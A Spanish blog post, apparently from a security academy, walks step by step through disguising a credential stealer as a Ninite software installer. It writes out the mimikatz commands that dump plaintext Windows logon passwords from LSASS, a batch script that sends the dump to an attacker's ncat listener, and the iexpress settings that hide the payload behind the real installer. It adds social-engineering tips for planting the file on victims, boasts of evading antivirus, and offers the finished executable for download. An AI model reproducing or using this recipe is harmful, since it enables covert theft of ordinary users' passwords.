Tu_password = ninite + ncat + mimikatz + joiner

Publicado por Pedro C. el 14-11-2012

Con un poco de ingeniería social y para demostrar lo fácil que es conseguir la contraseña de un inocente usuario que ejecuta todo como Administrador, nada mejor que comentar en el bar "chaval, tengo un programa del copón que te baja tó pa’ ponerle el acrobat, el flash ese, el chrome... y que no haces ná y te lo deja tó niquelao". Lo llevo en el pendrive. Y por supuesto, dejarle el pendrive para que lo instale... Comenzamos por preparar el entorno con las herramientas necesarias...

Para la parte "buena" vamos a emplear un instalador/actualizador de aplicaciones llamado ninite que teneis aquí y que es ideal para "instalar" las cosas de andar por casa de una forma desatendida y sin estar buscando todo por Internet. Se encargará de descargar o actualizar nuestras aplicaciones de forma automática.

Conectaremos a su página y marcaremos opciones típicas como Chrome, Firefox, Thunderbird, Flash, Flash para IE, Java, .NET, Shockwave, Truecrypt, etc... Luego, le daremos al botón "Get Installer" y guardaremos el instalador de nuestras aplicaciones.

Para la parte "mala" vamos a descargar Ncat, sucesor del archifamoso Netcat pero con soporte para SSL, IPv6, Socks, http proxies y mucho más. Se encargará de "enviarnos" los datos a nuestro "servidor maligno" quien también lo usará para recibirlos. En nuestro servidor, pondremos el ncat a la escucha vinculado a todas las IP’s del equipo en el puerto 8080 y los datos que recibirá, los guardará en el fichero "pardillo.txt" para posteriormente analizarlos. Si empleamos NAT, debemos redirigir la IP externa a la interna igual que el puerto empleado.

ncat –v –l –p 8080 > pardillo.txt
				

También, vamos a necesitar alguna herramienta para volcar los datos de los passwords de Windows. Podríamos emplear fgdump, ophcrack con su excelente soporte para tablas rainbow, WCE (Windows Credentials Editor), etc... tenemos mil herramientas para hacerlo, pero seguro que no queréis los hashes para luego obtener el password sino que lo deseáis en texto plano, claro y brillante, no??? Pues tenemos mimikatz que aprovechando la inocencia de nuestro objetivo y la ingeniería social que le hemos puesto, nos volcará los passwords almacenados en texto claro.

Usaremos un pequeño fichero para automatizar lo que va a realizar mimikatz donde nos aprovecharemos de nuevo de los redirectores del sistema para usarlos de entrada y obtener un fichero de salida que será el que enviemos a nuestro servidor mientras ninite instala "sus cosas"

El fichero es muy sencillo. Lo llamaremos commands.mmk y contendrá las siguientes líneas:

privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords
exit
				

La primera línea, se encargará de comprobar si se tiene acceso al privilegio SeDebugPrivilege, que no será necesario si tenemos acceso como SYSTEM. En éste caso, como ejecutamos el proceso como ADMINISTRADOR lo activará sin problema. En la siguiente, inyectaremos en el proceso LSASS.EXE la librería que incluye sekurlsa.dll, en la tercera obtenemos los passwords y en la última, su nombre lo dice todo como la anterior.

Para invocarlo desde línea de comandos, debemos crear un script para ejecutar mimikatz, pasarle el fichero anterior, obtener un fichero de salida con los datos que vuelque (que mal queda en castellano) y enviarlo al servidor que habremos preparado a la escucha con ncat.

Lo llamaremos mimikatz.cmd y tendrá las siguientes líneas:

@echo off
mimikatz.exe < commands.mmk > volcado.txt
ncat –-send-only IP_EQUIPO_DEL_MALO 8080 < volcado.txt
exit
				

Pongamos todo en orden. Lo primero, crearemos una carpeta en el escritorio llamada POC-MADESYP. Copiaremos a ella el fichero descargado de ninite (Ninite Chrome Firefox Flash Flash IE NET Shockwave Installer.exe)

Ahora, extraemos el ejecutable ncat.exe del fichero ncat-portable-5.59BETA1.zip en la misma carpeta.

Del fichero mimikatz_trunk.zip extraemos los ficheros de la carpeta Win32 o x64 a nuestra carpeta maligna. Casi podemos decir que tienen preferencia los de Win32 ya que pueden ser ejecutados sin problema en x64, pero a gusto del consumidor.

Por último, copiaremos los ficheros creados mimikatz.cmd y commands.mmk

Ahora, tendremos que juntarlo todo y para eso, qué mejor que un joiner. Simplemente es un "arrejuntador" de ficheros. En éste caso, nos serviremos del que tiene integrado Microsoft© Windows ya que para el caso, viene "como anillo al dedo". Y qué decir de la cantidad de troyanos que se han "pasado" junto con la instalación de una "inocente calculadora".

En inicio, ejecutar (o WIN+R) escribimos:

iexpress
				

Se ejecutará un asistente, donde iremos poniendo las opciones: "Create new Self Extraction Directive file" (marcada por defecto) y siguiente. "Extract files and run and installation command" y siguiente. En "Package title" escribiremos Ninite y siguiente. En "Confirmation prompt" dejaremos la opción por defecto "No prompt" y siguiente. En la pantalla de licencia, dejaremos "Do not display a license" y siguiente. En Packaged files, seleccionaremos todos los ficheros de la carpeta POC-MADESYP y siguiente. En la pantalla "Install Program to Launch", en install program escribiremos "mimikatz.cmd" y en "Post install command" seleccionaremos el instalador de ninite. Pulsaremos siguiente. Ahora, en la pantalla "Show Window" marcaremos "hidden" y siguiente. En la pantalla "Finished message" dejaremos "no message" y siguiente.

En la pantalla "Package Name and Options" pulsamos "Browse" y elegimos el escritorio con el nombre "ninite" y marcamos "Hide File Extracting Progress Animation from User" y "Store files using Long File Name inside Package" y siguiente. A continuación, ponemos "no restart" y siguiente. Ahora, podemos elegir si queremos guardar el "trabajo creado", lo que es conveniente y pulsaremos siguiente.

Por fin, Create Package y Finalizar!!!

Tendremos en el escritorio el fichero "ninite.exe" que subiremos a virustotal para la comprobación por varios antivirus. Nos sorprende que sin ningún tipo de encoder para camuflar los binarios y dll’s maliciosas, tan sólo lo detecten 2 de 44. Enhorabuena a Vipre y TrendMicro-HouseCall!!!

Antes de copiarlo en el pendrive, debemos hacer clic con el botón derecho del ratón, propiedades y marcar la pestaña "compatibilidad". Haremos clic en el botón "Cambiar la configuración para todos los usuarios" y marcaremos "Ejecutar este programa como Administrador" aceptando dos veces para guardar los cambios. Por supuesto, rápidamente nos dirigiremos al bar y pondremos "la ingeniería social" en marcha aunque también podemos escribir un "emilio" y adjuntarlo.

Y ya sólo queda ir al servidor y mirar el fichero "pardillo.txt" con la contraseña en texto plano. Dependiendo de las credenciales usadas por el usuario, veremos textos similares a:

Authentification Id         : 0;141510
Package d'authentification  : NTLM
Utilisateur principal       : madesyp
Domaine d'authentification  : maldades
	msv1_0 : 	lm{ 00000000000000000000000000000000 }, ntlm{ 
c8dfd5ac0546e95dff17365faf1ffe89 }
	wdigest : 	asdf1234
	tspkg : 	asdf1234
	kerberos : 	asdf1234
				

¿Tendrá abierto el RDP? El usuario seguro que habrá quedado contento con su instalación de "tos" los programas y lo mismo le ha gustado tanto que lo ha pasado a un@s cuant@s amig@s, por lo tanto, a poner el ncat en modo persistente... El post-explotation es cosa vuestra ;-D

Para aquell@s que sólo quieran probarlo, dejamos el fichero comprimido con todos los ficheros necesarios y el ejecutable ninite.exe generado en nuestro repositorio maligno.

Recordaros que en los Cursos especializados de Seguridad Informática y Administración de Sistemas que ofrecemos en Academia MADESYP realizamos y establecemos las contramedidas con todo esto y mucho más...

Ser buenos y no hagáis maldades!